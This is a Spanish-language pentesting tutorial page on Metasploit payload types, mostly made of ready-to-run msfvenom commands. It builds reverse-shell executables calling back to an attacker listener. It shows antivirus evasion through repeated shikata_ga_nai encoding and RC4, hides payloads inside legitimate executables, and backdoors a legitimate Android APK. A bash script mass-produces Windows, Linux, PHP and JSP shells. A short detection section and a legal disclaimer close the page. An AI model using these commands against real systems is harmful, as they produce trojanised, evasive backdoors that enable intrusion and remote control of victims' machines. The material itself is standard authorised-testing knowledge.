Skip to content

Tipos de Payloads en Pentesting

Los payloads son componentes críticos en pentesting que contienen el código malicioso que se ejecuta en el sistema objetivo después de una explotación exitosa. La elección del tipo de payload correcto puede determinar el éxito o fracaso de un ataque, así como su capacidad de evadir sistemas de detección.

Clasificación Principal: Staged vs Non-Staged

Section titled “Clasificación Principal: Staged vs Non-Staged”

Un payload staged se divide en múltiples etapas para optimizar la entrega y evasión:

  • Primera etapa (Stager): Código pequeño (~100-500 bytes) que establece comunicación
  • Segunda etapa (Stage): Payload completo descargado después de la conexión
  • Conexión persistente: Mantiene canal de comunicación activo
  • Evasión mejorada: Menor huella inicial en memoria
Terminal window
# Ejemplo de payload staged
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe
  • Tamaño reducido inicial: Evita restricciones de buffer overflow
  • Evasión de AV: Menor detección por análisis estático
  • Flexibilidad: Puede cargar diferentes stages según necesidad
  • Recuperación: Si falla una etapa, puede reintentar
  • Dependencia de red: Requiere conexión estable
  • Múltiples conexiones: Más tráfico de red detectable
  • Complejidad: Mayor superficie de ataque

Un payload non-staged contiene toda la funcionalidad en un solo paquete:

  • Código completo: Todo incluido en una sola entidad
  • Ejecución inmediata: No requiere descargas adicionales
  • Independiente: Funciona sin conexión posterior
Terminal window
# Ejemplo de payload non-staged
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe
  • Simplicidad: Una sola conexión necesaria
  • Confiabilidad: No depende de múltiples etapas
  • Velocidad: Ejecución inmediata
  • Redes restrictivas: Funciona con conectividad limitada
  • Tamaño grande: Puede exceder límites de buffer
  • Detección fácil: Mayor huella para análisis estático
  • Menos flexible: Funcionalidad fija
Terminal window
# Meterpreter Windows
windows/meterpreter/reverse_tcp # Staged
windows/meterpreter_reverse_tcp # Non-staged
# Shell básico Windows
windows/shell/reverse_tcp # Staged
windows/shell_reverse_tcp # Non-staged
# PowerShell
windows/powershell_reverse_tcp # PowerShell directo
Terminal window
# Shell Linux
linux/x86/shell/reverse_tcp # Staged x86
linux/x64/shell/reverse_tcp # Staged x64
linux/x86/shell_reverse_tcp # Non-staged x86
# Meterpreter Linux
linux/x86/meterpreter/reverse_tcp # Staged
linux/x64/meterpreter_reverse_tcp # Non-staged
Terminal window
# Java (multiplataforma)
java/meterpreter/reverse_tcp # Staged Java
java/shell_reverse_tcp # Non-staged Java
# Python (multiplataforma)
python/meterpreter/reverse_tcp # Staged Python
python/shell_reverse_tcp # Non-staged Python
Terminal window
# Optimizados para sistemas de 32 bits
linux/x86/shell_reverse_tcp
windows/shell_reverse_tcp
Terminal window
# Optimizados para sistemas de 64 bits
linux/x64/shell_reverse_tcp
windows/x64/shell_reverse_tcp
Terminal window
# Shell básico - acceso a línea de comandos
windows/shell_reverse_tcp
linux/x86/shell_reverse_tcp
# Uso típico
nc -lvp 4444 # Listener
# Ejecutar payload en objetivo
Terminal window
# Shell PowerShell avanzado
windows/powershell_reverse_tcp
# Características:
# - Acceso completo a .NET Framework
# - Bypass de restricciones de ejecución
# - Capacidades de scripting avanzadas
Terminal window
# El payload más versátil de Metasploit
windows/meterpreter/reverse_tcp
linux/x86/meterpreter/reverse_tcp
# Características principales:
# - Inyección en memoria (fileless)
# - Extensiones modulares
# - Cifrado de comunicaciones
# - Migración entre procesos
Terminal window
# Android
android/meterpreter/reverse_tcp
# PHP (aplicaciones web)
php/meterpreter/reverse_tcp
# ASP.NET
windows/meterpreter/reverse_tcp
Terminal window
# Acceso remoto gráfico
windows/vncinject/reverse_tcp
# Uso:
# - Control completo del escritorio
# - Ideal para sistemas con GUI
# - Mayor ancho de banda requerido
Terminal window
# Persistencia automática
windows/meterpreter/reverse_tcp_rc4
# Características:
# - Supervivencia a reinicios
# - Múltiples métodos de persistencia
# - Cifrado RC4 para evasión

Clasificación por Protocolo de Comunicación

Section titled “Clasificación por Protocolo de Comunicación”
Terminal window
# Conexión TCP directa (más común)
windows/meterpreter/reverse_tcp
linux/x86/shell/reverse_tcp
# Características:
# - Confiable y rápido
# - Fácil de configurar
# - Detectable por firewalls
Terminal window
# Comunicación vía HTTP
windows/meterpreter/reverse_http
windows/meterpreter/reverse_https
# Ventajas:
# - Evade firewalls corporativos
# - Tráfico aparenta ser legítimo
# - Soporte para proxies
Terminal window
# Comunicación vía DNS
windows/meterpreter/reverse_dns_txt
# Características:
# - Extremadamente sigiloso
# - Funciona en redes muy restrictivas
# - Velocidad limitada
Terminal window
# Codificación simple
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -f exe
# Múltiples iteraciones
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe
Terminal window
# Payload cifrado con RC4
msfvenom -p windows/meterpreter/reverse_tcp_rc4 LHOST=192.168.1.100 LPORT=4444 RC4PASSWORD=MiClave123 -f exe
Terminal window
# Usar ejecutable legítimo como plantilla
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -x /path/to/legitimate.exe -f exe
Terminal window
# Usar puertos que típicamente están abiertos
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=80 -f exe # HTTP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 -f exe # HTTPS
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=53 -f exe # DNS
Terminal window
# Si reverse está bloqueado, usar bind
msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe
payload_generator.sh
#!/bin/bash
TARGET_IP="192.168.1.100"
LPORT="4444"
OUTPUT_DIR="./payloads"
# Crear directorio de salida
mkdir -p $OUTPUT_DIR
echo "[+] Generando payloads para $TARGET_IP:$LPORT"
# Windows Payloads
echo "[+] Generando payloads Windows..."
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$TARGET_IP LPORT=$LPORT -f exe > $OUTPUT_DIR/win_meterpreter_staged.exe
msfvenom -p windows/meterpreter_reverse_tcp LHOST=$TARGET_IP LPORT=$LPORT -f exe > $OUTPUT_DIR/win_meterpreter_unstaged.exe
msfvenom -p windows/shell_reverse_tcp LHOST=$TARGET_IP LPORT=$LPORT -f exe > $OUTPUT_DIR/win_shell.exe
# Linux Payloads
echo "[+] Generando payloads Linux..."
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$TARGET_IP LPORT=$LPORT -f elf > $OUTPUT_DIR/linux_meterpreter_x86
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$TARGET_IP LPORT=$LPORT -f elf > $OUTPUT_DIR/linux_shell_x64
# Web Payloads
echo "[+] Generando payloads Web..."
msfvenom -p php/meterpreter/reverse_tcp LHOST=$TARGET_IP LPORT=$LPORT -f raw > $OUTPUT_DIR/web_shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$TARGET_IP LPORT=$LPORT -f raw > $OUTPUT_DIR/web_shell.jsp
# Payloads con evasión
echo "[+] Generando payloads con evasión..."
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$TARGET_IP LPORT=$LPORT -e x86/shikata_ga_nai -i 5 -f exe > $OUTPUT_DIR/win_encoded.exe
echo "[+] Payloads generados en $OUTPUT_DIR"
ls -la $OUTPUT_DIR
payload_analyzer.py
#!/usr/bin/env python3
import subprocess
import json
import sys
def analyze_payload(payload_path):
"""Analiza un payload y extrae información relevante"""
print(f"[+] Analizando payload: {payload_path}")
# Información básica del archivo
try:
result = subprocess.run(['file', payload_path], capture_output=True, text=True)
print(f"[+] Tipo de archivo: {result.stdout.strip()}")
except:
print("[-] Error al analizar tipo de archivo")
# Tamaño del archivo
try:
result = subprocess.run(['ls', '-lh', payload_path], capture_output=True, text=True)
size = result.stdout.split()[4]
print(f"[+] Tamaño: {size}")
except:
print("[-] Error al obtener tamaño")
# Strings interesantes
try:
result = subprocess.run(['strings', payload_path], capture_output=True, text=True)
strings = result.stdout.split('\n')
# Buscar IPs y puertos
ips = [s for s in strings if '.' in s and len(s.split('.')) == 4]
if ips:
print(f"[+] IPs encontradas: {ips[:5]}") # Mostrar solo las primeras 5
# Buscar URLs
urls = [s for s in strings if 'http' in s.lower()]
if urls:
print(f"[+] URLs encontradas: {urls[:3]}")
except:
print("[-] Error al analizar strings")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Uso: python3 payload_analyzer.py <payload_file>")
sys.exit(1)
analyze_payload(sys.argv[1])
Terminal window
# Payload PHP para aplicaciones web
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw
# Integración en aplicación web vulnerable
<?php
// Código del payload aquí
?>
Terminal window
# Para aplicaciones Java/Tomcat
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw
Terminal window
# Payload pequeño para exploits de buffer overflow
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -b '\x00\x0a\x0d' -f python
# Resultado se integra en exploit:
buf = b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8..."
Terminal window
# Payload como servicio Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe-service
Terminal window
# Payload para Android
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o malicious.apk
# Inyección en APK legítima
msfvenom -x legitimate.apk -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o backdoored.apk
Terminal window
# Conexiones sospechosas
netstat -an | grep :4444
netstat -an | grep ESTABLISHED
# Tráfico HTTP sospechoso
# - User-Agents inusuales
# - Patrones de comunicación regulares
# - Conexiones a IPs externas no autorizadas
Terminal window
# Procesos sospechosos
ps aux | grep -E "(meterpreter|payload|shell)"
# Archivos temporales
find /tmp -name "*.exe" -o -name "*.elf"
find /var/tmp -type f -executable
  • Segmentación de red: Limitar comunicaciones salientes
  • Whitelist de aplicaciones: Prevenir ejecución no autorizada
  • Análisis de comportamiento: Detectar patrones anómalos
  • Sandboxing: Ejecutar código sospechoso en entorno aislado
  • SIEM: Correlación de eventos de seguridad
  • EDR: Detección y respuesta en endpoints
  • Network monitoring: Análisis de tráfico en tiempo real
  • Threat hunting: Búsqueda proactiva de amenazas
  1. Selección de Payload:

    • Evaluar restricciones del objetivo
    • Considerar capacidades de evasión necesarias
    • Balancear funcionalidad vs sigilo
  2. Evasión:

    • Usar múltiples técnicas de encoding
    • Variar puertos y protocolos
    • Implementar delays y jitter
  3. Persistencia:

    • Establecer múltiples canales de comunicación
    • Implementar mecanismos de reconexión
    • Documentar todos los payloads utilizados
  1. Monitoreo:

    • Implementar detección basada en comportamiento
    • Monitorear conexiones de red salientes
    • Analizar patrones de ejecución de procesos
  2. Respuesta:

    • Aislar sistemas comprometidos inmediatamente
    • Analizar payloads en entorno seguro
    • Implementar contramedidas específicas
  • Veil: Framework de evasión de AV
  • TheFatRat: Generador de payloads con evasión
  • Empire: Framework post-explotación
  • Covenant: C2 framework para .NET
  • Metasploitable: Máquina virtual vulnerable
  • DVWA: Aplicación web vulnerable
  • VulnHub: Colección de VMs vulnerables
  • HackTheBox: Plataforma de pentesting

Nota Legal: Esta información es para fines educativos y de pentesting autorizado únicamente. El uso no autorizado de estas técnicas puede ser ilegal y está prohibido.